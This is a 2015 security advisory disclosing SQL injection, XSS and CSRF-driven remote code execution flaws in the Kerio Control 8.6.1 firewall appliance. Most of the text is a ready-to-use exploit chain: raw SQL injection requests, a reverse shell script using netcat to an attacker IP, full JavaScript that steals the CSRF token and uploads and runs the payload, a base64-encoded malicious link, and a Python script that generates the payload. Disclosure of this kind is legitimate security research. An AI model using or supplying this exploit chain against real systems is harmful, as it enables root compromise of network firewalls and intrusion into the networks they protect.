Kerio Control 8.6.1 – Multiple Vulnerabilities

IntelliSec Security Advisory

==============================================================================================

Title: Multiple Vulnerabilities in Kerio Control (Virtual Appliance)

Vulnerabilities: SQL Injection, Remote Code Execution through CSRF

Product: Kerio Control

Homepage: http://www.kerio.com

Affected Version: <= 8.6.1

Fixed Version: 8.6.2 (partially fixed)

Impact: critical

Date: 2015-10-12

Author: Raschin Tavakoli | IntelliSec Research

http://www.intellisec.at

research@intellisec.at

Links: https://youtu.be/EzTI2WlGHb4

===============================================================================================

Vendor description:

===================

Kerio Control is a unified threat management firewall developed by Kerio Technologies. It

features intrusion prevention, content filtering, activity reporting, bandwidth management,

and virtual private networking. Kerio Control runs Linux, providing network perimeter defense

for small to medium organizations.

Vulnerabilities

===============

1. XSS with Anti-XSS-Filter bypass (nonauth area)

2. SQL Injection (non-admin area)

3. Remote Code Execution (admin area)

By chaining the vulnerabilities together in combination with user interaction, an attacker may

gain full control over the firewall and the underlying network.

Attack Scenario

===============

The first attack could be to trick non-admin users to follow a malicious link in order to trigger

a CSRF exploit via the /nonauth/certificate.php script. The script may exploit the SQL Injection

flaw in reports.php for example.

Once able to query the database, sensitive data of the users can be transmitted back to the

attacker. Information of interest could be for example the traffic usage of admin users and their

top-visited webpages.

In the next attack, this information may be used to embed another CSRF exploit into one of

the top-visited webpages. If the attacker succeeds and the exploit gets triggered by a visiting

admin, arbitrary remote code execution will be gained.

===============================================================================================

1. SQL Injection:

===============================================================================================

Short Description:

==================

Kerio Control suffers from an SQL Injection flaw in the report.php script.

Detailed Description:

=====================

It is not necessary to use blind sql injection, as the output will be rendered into an image file.

As the text in the image file has a fixed size, multiple union selects can be combined to render out

multiple images containing the result text of the query.

In order to exploit the issue, a user has to be authenticated. For non-admin users, webreports

have to be enabled.

This issue is fixed in 8.6.2

Proof of Concept:

=================

GET /report.php?id=1'+OR+'1'%3d'1'%3b+-- HTTP/1.1

Host: testbox:4081

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: SESSION_CONTROL_WEBIFACE=c0fa6c207d812da1fce3e2ff2bc2e609948988a041f5a23adb64064a42010e6b;

TOKEN_CONTROL_WEBIFACE

For example, to read out the admin's internal UUID number, the following union based sql injection

can be used:

https://testbox:4081/report.php?start=16703, 0, 0) UNION SELECT 'x', 'Admin UUID: ' ||

substring(cast( (select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256))

from 1 for 14), REQUESTS FROM GET_ALL_TOP_WEBS_D(16703, 1) UNION SELECT 'y', substring(cast(

(select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256)) from 15 for 40), '7'

FROM GET_ALL_TOP_WEBS_D(16703, 1);+--+&end=16703&id=0'+OR+USERNAME='Admin';+--+

=======================

2. Cross Site Scripting

=======================

The server parameter in the nonauth/certificate.php script suffers from an non persistent XSS

vulnerability. The payload needs to be base64 encoded and will be decoded at runtime. That way

it bypasses all Anti-XSS Filters of modern browsers, which increases the severity of this issue

significantly.

The issue has been tested with OS X Chrome Version 45.0.2454.101, OS X Safari Version 9.0

(10601.1.56.2), Linux Chromium Version 37.0.2062.120 and Linux Iceweasel 31.8.0

This issue is fixed in 8.6.2

===============================================================================================

3. Remote Command Execution via File Upload

===============================================================================================

Short Description:

==================

Kerio Control suffers from a RCE vulnerability in the upgrade function in the admin interface.

A malicious ssh script can be uploaded and executed with root privileges.

Detail:

=======

The upgrade feature in the admin interface can be used to upload arbitrary files by simply

changing a tar file to the extension .img. If a tar file is created which contains a upgrade.sh shell

script, this script will be executed with root privileges. Kerio did not provide a fix for the

upgrade functionality yet.

========================================

4. Remote Command Execution through CSRF

========================================

The Kerio admin interface does not provide a functionality to execute shell commands on the

underlying Linux system nor a possibility to enable ssh. SSH is disabled by default and can

only be enabled through the Kerio Console Application.

By combining the RCE with an CSRF attack, this vulnerability becomes a serious issue.

Proof of Concept:

=================

Create a Bash Script:

---------------------

# cat upgrade.sh

# #!/bin/bash

# nc 10.0.0.2 5555 -e /bin/bash &

# tar czf upgrade.tar.gz *

# mv upgrade.tar.gz upgrade.img

Open a netcat listener on the attacker's machine 10.0.0.2:

----------------------------------------------------------

# nc -lvp 5555

Generate Javascript Payload (File Upload and Execution):

--------------------------------------------------------

url='http://10.0.0.1:4081/admin';

_token="";

_file="";

_id = "";

function reqListener () {

obj = JSON.parse(this.responseText);

file = obj.result.fileUpload.name;

id = obj.result.fileUpload.id;

createIFrame(file, id);

}

function createIFrame(file, id) {

iframe=document.createElement("iframe");

iframe.src=url + "/constants.js.php";

iframe.style.display = "none";

iframe.sandbox="allow-scripts allow-same-origin";

iframe.onload=function() {

cookie = iframe.contentWindow.document.cookie;

var re = new RegExp(name + "=([^;]+)");

var value = re.exec(cookie);

var token=(value != null) ? unescape(value[1]) : null;

executeScript(file, id, token);

}

document.body.appendChild(iframe);

}

function executeScript(file, id, token) {

_file = file;

_id = id;

_token = token;

var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url + "/api/jsonrpc/", true);

xmlhttp.setRequestHeader("X-Token", token);

xmlhttp.addEventListener("load", executeScript2);

xmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");

xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");

xmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.uploadImage","params":{"fileId": file}}));

}

function executeScript2(file, token) {

var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url +"/api/jsonrpc/", true);

xmlhttp.setRequestHeader("X-Token", _token);

xmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");

xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");

xmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.performCustomUpgrade","params":{"id": _id }}));

}

var xhr = new XMLHttpRequest();

xhr.open("POST", url + "/api/jsonrpc/upload/", true);

xhr.addEventListener("load", reqListener);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1038495162429835808207612951");

xhr.withCredentials = true;

var body = "-----------------------------1038495162429835808207612951\r\n" +

"Content-Disposition: form-data; name=\"uploadImage\"; filename=\"upgrade.img\" \r\n" +

"Content-Type: application/octet-stream\r\n" +

"\r\n" +

"\x1f\x8b\x08\x00\xe0\x6e\x02\x56\x00\x03\xed\xce\xb1\x0e\x82\x30\x10\xc6\xf1\xce\x3c\xc5\x19\x13\x37\xe1\x8a\x2d\x3e\x4f\x51\x22\x2e\x60\x5a\x78\x7f\xab\x83\x24\x0e\x3a\x11\x63\xf2\xff\xdd\xf0\x25\xf7\xdd\x70\xf3\xed\x12\xc3\xb9\x2b\x53\x6f\x56\xa3\x59\xe3\xdc\x33\xb3\xf7\x54\xf5\xce\xd8\xba\x51\x75\xcd\xf1\xe0\xf2\xde\x5a\x9f\x43\x74\xbd\x97\x16\x73\x9a\x42\x14\x31\x71\x1c\xa7\x4f\x77\xdf\xfa\x3f\xb5\xdd\x54\xed\x75\xa8\xda\x90\xfa\x62\x38\x89\xd5\xf2\x31\xb5\xf8\x4c\xf6\x9d\xbc\x5a\xd9\x15\xbf\xfe\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\xb8\x03\x94\x67\x18\xfa\x00\x28\x00\x00\r\n" +

"-----------------------------1038495162429835808207612951--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

</script>

Base64 encode and craft malicous link:

https://testbox:4081/nonauth/certificate.php?server=PHNjcmlwdD4KdXJsPSdodHRwOi8vMTAuMC4wLjE6NDA4MS9hZG1pbic7Cl90b2tlbj0iIjsKX2Zp

bGU9IiI7Cl9pZCA9ICIiOwpmdW5jdGlvbiByZXFMaXN0ZW5lciAoKSB7CglvYmogPSBKU09OLnBh

cnNlKHRoaXMucmVzcG9uc2VUZXh0KTsKCWZpbGUgPSBvYmoucmVzdWx0LmZpbGVVcGxvYWQubmFt

ZTsKCWlkID0gb2JqLnJlc3VsdC5maWxlVXBsb2FkLmlkOwoJY3JlYXRlSUZyYW1lKGZpbGUsIGlk

KTsKfQpmdW5jdGlvbiBjcmVhdGVJRnJhbWUoZmlsZSwgaWQpIHsKCWlmcmFtZT1kb2N1bWVudC5j

cmVhdGVFbGVtZW50KCJpZnJhbWUiKTsKCWlmcmFtZS5zcmM9dXJsICsgIi9jb25zdGFudHMuanMu

cGhwIjsKCWlmcmFtZS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwoJaWZyYW1lLnNhbmRib3g9ImFs

bG93LXNjcmlwdHMgYWxsb3ctc2FtZS1vcmlnaW4iOwoJaWZyYW1lLm9ubG9hZD1mdW5jdGlvbigp

IHsKCQljb29raWUgPSBpZnJhbWUuY29udGVudFdpbmRvdy5kb2N1bWVudC5jb29raWU7CgkJdmFy

IHJlID0gbmV3IFJlZ0V4cChuYW1lICsgIj0oW147XSspIik7CgkJdmFyIHZhbHVlID0gcmUuZXhl

Yyhjb29raWUpOwoJCXZhciB0b2tlbj0odmFsdWUgIT0gbnVsbCkgPyB1bmVzY2FwZSh2YWx1ZVsx

XSkgOiBudWxsOwoJCWV4ZWN1dGVTY3JpcHQoZmlsZSwgaWQsIHRva2VuKTsKCX0KCWRvY3VtZW50

LmJvZHkuYXBwZW5kQ2hpbGQoaWZyYW1lKTsKfQpmdW5jdGlvbiBleGVjdXRlU2NyaXB0KGZpbGUs

IGlkLCB0b2tlbikgewoJX2ZpbGUgPSBmaWxlOwoJX2lkID0gaWQ7CglfdG9rZW4gPSB0b2tlbjsK

CXZhciB4bWxodHRwPW5ldyBYTUxIdHRwUmVxdWVzdCgpO3htbGh0dHAub3BlbigiUE9TVCIsIHVy

bCArICIvYXBpL2pzb25ycGMvIiwgdHJ1ZSk7Cgl4bWxodHRwLnNldFJlcXVlc3RIZWFkZXIoIlgt

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LnVwbG9hZEltYWdlIiwicGFyYW1zIjp7ImZpbGVJZCI6IGZpbGV9fSkpOwp9CmZ1bmN0aW9uIGV4

ZWN1dGVTY3JpcHQyKGZpbGUsIHRva2VuKSB7Cgl2YXIgeG1saHR0cD1uZXcgWE1MSHR0cFJlcXVl

c3QoKTt4bWxodHRwLm9wZW4oIlBPU1QiLCB1cmwgKyIvYXBpL2pzb25ycGMvIiwgdHJ1ZSk7Cgl4

bWxodHRwLnNldFJlcXVlc3RIZWFkZXIoIlgtVG9rZW4iLCBfdG9rZW4pOwoJeG1saHR0cC5zZXRS

ZXF1ZXN0SGVhZGVyKCJYLVJlcXVlc3RlZC1XaXRoIiwgIlhNTEh0dHBSZXF1ZXN0Iik7Cgl4bWxo

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KTsKeGhyLm9wZW4oIlBPU1QiLCB1cmwgKyAiL2FwaS9qc29ucnBjL3VwbG9hZC8iLCB0cnVlKTsK

eGhyLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCByZXFMaXN0ZW5lcik7Cnhoci5zZXRSZXF1ZXN0

SGVhZGVyKCJBY2NlcHQiLCAidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNh

dGlvbi94bWw7cT0wLjksKi8qO3E9MC44Iik7Cnhoci5zZXRSZXF1ZXN0SGVhZGVyKCJBY2NlcHQt

TGFuZ3VhZ2UiLCAiZW4tVVMsZW47cT0wLjUiKTsKeGhyLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRl

bnQtVHlwZSIsICJtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tLS0tLS0tLS0tLS0t

LS0tLS0tLS0tLS0xMDM4NDk1MTYyNDI5ODM1ODA4MjA3NjEyOTUxIik7Cnhoci53aXRoQ3JlZGVu

dGlhbHMgPSB0cnVlOwp2YXIgYm9keSA9ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTEw

Mzg0OTUxNjI0Mjk4MzU4MDgyMDc2MTI5NTFcclxuIiArIAoiQ29udGVudC1EaXNwb3NpdGlvbjog

Zm9ybS1kYXRhOyBuYW1lPVwidXBsb2FkSW1hZ2VcIjsgZmlsZW5hbWU9XCJ1cGdyYWRlLmltZ1wi

IFxyXG4iICsgCiJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbVxyXG4iICsg

CiJcclxuIiArIAoiXHgxZlx4OGJceDA4XHgwMFx4YWJceDZmXHgwMlx4NTZceDAwXHgwM1x4ZWRc

eGNlXHhiMVx4MGVceDgyXHg0MFx4MTBceDg0XHhlMVx4YWJceDc5XHg4YVx4MzVceDI2XHg3Nlx4

YzJceDFlXHhkZVx4MWRceGNmXHgwM1x4NGFceGM0XHgwNlx4Y2NceDFkXHhiY1x4M2ZceDY4XHgy

MVx4ODlceDg1XHg1Nlx4YzRceDk4XHhmY1x4ZGZceDE2XHg1M1x4Y2NceDE2XHgzM1x4ZGRceGFm

XHhiMVx4YmVceGI0XHg3OVx4ZWFceGNjXHg2Nlx4NzRceDExXHg5Y1x4N2JceGU2XHhlMlx4M2Rc

eDU1XHhiZFx4MzNceGI2XHgwY1x4YWFceDJlXHg1NFx4YzFceDlmXHg4Y1x4NWFceGViXHg1ZFx4

NjVceDQ0XHhiN1x4OWJceGI0XHg5YVx4ZDJceDU4XHg0N1x4MTFceDEzXHg4N1x4NjFceGZjXHhm

NFx4ZjdceGFkXHhmZlx4NTNceGZiXHg1ZFx4ZDFceGRjXHhmYVx4YTJceGE5XHg1M1x4OTdceGY1

XHg2N1x4YjFceDlhXHgzZlx4YWVceDE0XHhiZlx4OTBceDYzXHgyYlx4YWZceDU2XHgwZVx4ZDlc

eGFmXHhiN1x4MDJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4

MDBceDAwXHg1Nlx4MzNceGNmXHhiMlx4M2JceDZjXHgwMFx4MjhceDAwXHgwMFxyXG4iICsgCiIt

LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTEwMzg0OTUxNjI0Mjk4MzU4MDgyMDc2MTI5NTEt

LVxyXG4iOwp2YXIgYUJvZHkgPSBuZXcgVWludDhBcnJheShib2R5Lmxlbmd0aCk7CmZvciAodmFy

IGkgPSAwOyBpIDwgYUJvZHkubGVuZ3RoOyBpKyspCmFCb2R5W2ldID0gYm9keS5jaGFyQ29kZUF0

KGkpOyAKeGhyLnNlbmQobmV3IEJsb2IoW2FCb2R5XSkpOwo8L3NjcmlwdD4K

Python 3 payload generator

==========================

For easier testing, we developed a small python script that can be used to

generate the payload:

#!/usr/bin/python

# ====================================================================== #

# Title: Remote Command Execution through CSRF - Payload Generator #

# Author: Raschin Tavakoli - IntelliSec GmbH #

# Date: 12.10.2015 #

# #

# Description: #

# This python3 script generates the payload to exploit the RCE via CSRF #

# vulnerability in the Kerio Control Virtual Appliance. #

# #

# First a shell script will be packed as an Kerio upgrade.img file. Then #

# a Javascript will be generated which uploads the file via the Kerio #

# upgrade function. The payload will then be base64 encoded and can be #

# injected into the server parameter of the #

# nonauth/certificate.php script (). #

# #

# Example Usage: #

# csrf-gen-payload.py -t https://10.0.0.8:4081/admin -l 10.0.0.7 -p 5555 #

# ====================================================================== #

import os

import shutil

import base64

import argparse

import subprocess

from optparse import OptionParser

import codecs

import sys

tmpdir = "/tmp/kerio_upgrade"

def usage():

print ("\nUsage: csrf-gen-payload -f <file> -t <target-url> \n")

print("Example: csrf-gen-payload.py -f upgrade.sh -t https://10.0.0.8:4081/admin \n")

exit()

def main():

parser = OptionParser()

parser.add_option("-f", "--file", dest="file",

help="the bash file for remote execution", metavar="TARGET")

parser.add_option("-t", "--target", dest="target_url",

help="specify the target url", metavar="TARGET")

(options, args) = parser.parse_args()

file = options.file

target_url = options.target_url

if not target_url or not file:

usage()

# ====================================================================== #

# Create upgrade.img file #

# ====================================================================== #

orgdir = os.path.dirname(os.path.realpath(__file__))

try:

if os.path.exists(tmpdir):

shutil.rmtree(tmpdir)

except:

print("Cannot clean " + tmpdir)

os.mkdir(tmpdir)

shutil.copy(file, tmpdir + os.path.sep + "upgrade.sh")

os.chdir(tmpdir)

os.system("tar czf upgrade.tar.gz *")

src = os.path.join(tmpdir, "upgrade.tar.gz")

dst = os.path.join(tmpdir, "upgrade.img")

os.rename(src, dst)

f = open('upgrade.img', 'rb',)

bin_data = f.read()

f.close()

hexdata = "".join("\\x{:02x}".format(c) for c in bin_data)

# ====================================================================== #

# Generate Javascript Payload #

# ====================================================================== #

script = ('<script>\n' +

'url=\'' + target_url +

'\';\n' +

'_token="";\n' +

'_file="";\n' +

'_id = "";\n' +

'function reqListener () {\n' +

'\tobj = JSON.parse(this.responseText);\n' +

'\tfile = obj.result.fileUpload.name;\n' +

'\tid = obj.result.fileUpload.id;\n' +

'\tcreateIFrame(file, id);\n' +

'}\n' +

'function createIFrame(file, id) {\n' +

'\tiframe=document.createElement("iframe");\n' +

'\tiframe.src=url + "/constants.js.php";\n' +

'\tiframe.style.display = "none";\n' +

'\tiframe.sandbox="allow-scripts allow-same-origin";\n' +

'\tiframe.onload=function() {\n' +

'\t\tcookie = iframe.contentWindow.document.cookie;\n' +

'\t\tvar re = new RegExp(name + "=([^;]+)");\n' +

'\t\tvar value = re.exec(cookie);\n' +

'\t\tvar token=(value != null) ? unescape(value[1]) : null;\n' +

'\t\texecuteScript(file, id, token);\n' +

'\t}\n' +

'\tdocument.body.appendChild(iframe);\n' +

'}\n' +

'function executeScript(file, id, token) {\n' +

'\t_file = file;\n' +

'\t_id = id;\n' +

'\t_token = token;\n' +

'\tvar xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url + "/api/jsonrpc/", true);\n' +

'\txmlhttp.setRequestHeader("X-Token", token);\n' +

'\txmlhttp.addEventListener("load", executeScript2);\n' +

'\txmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");\n' +

'\txmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");\n' +

'\txmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.uploadImage","params":{"fileId": file}}));\n' +

'}\n' +

'function executeScript2(file, token) {\n' +

'\tvar xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url +"/api/jsonrpc/", true);\n' +

'\txmlhttp.setRequestHeader("X-Token", _token);\n' +

'\txmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");\n' +

'\txmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");\n' +

'\txmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.performCustomUpgrade","params":{"id": _id }}));\n' +

'}\n' +

'var xhr = new XMLHttpRequest();\n' +

'xhr.open("POST", url + "/api/jsonrpc/upload/", true);\n' +

'xhr.addEventListener("load", reqListener);\n' +

'xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");\n' +

'xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");\n' +

'xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1038495162429835808207612951");\n' +

'xhr.withCredentials = true;\n' +

'var body = "-----------------------------1038495162429835808207612951\\r\\n" + \n' +

'"Content-Disposition: form-data; name=\\"uploadImage\\"; filename=\\"upgrade.img\\" \\r\\n" + \n' +

'"Content-Type: application/octet-stream\\r\\n" + \n' +

'"\\r\\n" + \n' +

'"' + hexdata + '\\r\\n" + \n' +

'"-----------------------------1038495162429835808207612951--\\r\\n";\n' +

'var aBody = new Uint8Array(body.length);\n' +

'for (var i = 0; i < aBody.length; i++)\n' +

'aBody[i] = body.charCodeAt(i); \n' +

'xhr.send(new Blob([aBody]));\n' +

'</script>')

print(script)

os.chdir(orgdir)

shutil.rmtree(tmpdir)

if __name__ == '__main__':

main()

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